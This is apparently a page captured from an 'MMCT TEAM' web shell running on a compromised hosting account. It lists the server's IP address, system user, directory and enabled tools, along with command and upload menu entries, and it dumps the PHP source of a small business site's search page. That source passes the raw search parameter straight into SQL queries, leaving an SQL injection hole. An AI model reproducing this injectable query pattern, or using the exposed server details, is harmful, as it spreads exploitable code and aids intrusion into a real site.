MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.118.193.223
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/awningsmanufacturenoida.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/awningsmanufacturenoida.com/search-result.php
<?php include("site-header.php");?>
<?php
	 $searchKeyword=$_REQUEST['searchtext'];
	 $count=db_scalar("select count(*) from  tbl_category where 1 and  category_name like '%$_REQUEST[searchtext]%' and category_status='Active'");
	?>
<div id="pageHeader" data-bg-path="img/background-images/page-bg.jpg">
  <div class="vc-parent">
    <div class="vc-child">
      <section class="page-title">
        <h2>Search Result </h2>
        <ol class="breadcrumb text-center">
          <li><a href="<?=$site_url?>/index.html">Home</a></li>
          <li style="color:white;">Search Result</li>
        </ol>
      </section>
    </div>
  </div>
</div>
<div id="feature">
  <div class="container">
    <div class="row">
     <?php if($count>0){?>
            <div align="center" style="font-size:15px; color:#E60000;">"Total&nbsp;
            <?=$count?>
            &nbsp;Search Found"
            </div>
            <? } ?>
     <?php
	   $sql_category=db_query("select * from tbl_category where 1 and category_name LIKE '%$searchKeyword%' and category_status='Active' order by category_order_by asc");
if(mysqli_num_rows($sql_category)>0){
	 while($MAIN_CAT=mysqli_fetch_array($sql_category)){
	 @extract($MAIN_CAT);
	?>
      <div class="col-md-3 feature-item" style="margin-top:50px;">
        <img src="<?=$site_url?>/uploaded_files/<?=$MAIN_CAT['category_image_name']?>" alt="<?php if($MAIN_CAT['category_is_product']=='Yes'){ ?> Manufacturers Exporters and Wholesale Suppliers of <?=$MAIN_CAT['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? }else{ ?> Service Provider of <?=$MAIN_CAT['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? } ?>" title="<?php if($MAIN_CAT['category_is_product']=='Yes'){ ?> Manufacturers Exporters and Wholesale Suppliers of <?=$MAIN_CAT['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? }else{ ?> Service Provider of <?=$MAIN_CAT['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? } ?>" width="100%" height="200" />
        <div class="content">
          <h3 class="heading"><?=substr($MAIN_CAT['category_name'],0,30);?></h3>
          <?php $description=strip_tags($MAIN_CAT['category_description']);?>
          <p class="desc"><?=substr($description,0,50);?></p>
          <div class="read-more-btn"> <a href="<?=$site_url?>/<?=$MAIN_CAT['category_url']?>.html" class="read-more mdl-button mdl-js-button mdl-js-ripple-effect mdl-button--raised mdl-button--accent">read more</a> </div>
        </div>
        
      </div>
      <? }}else{ ?>
      
      <div class="col-md-12 feature-item" style="margin-top:50px;">
        
        <p align="center" style="color:#EA0000; font-weight:bold; font-size:22px; line-height:35px; ">No Search Found !!<br/>
            Please Enter Valid Keyword..</p>
        
      </div>
      
      
      <? } ?>
    </div>
  </div>
</div>
<?php include("site-footer.php");?>

MMCT - 2023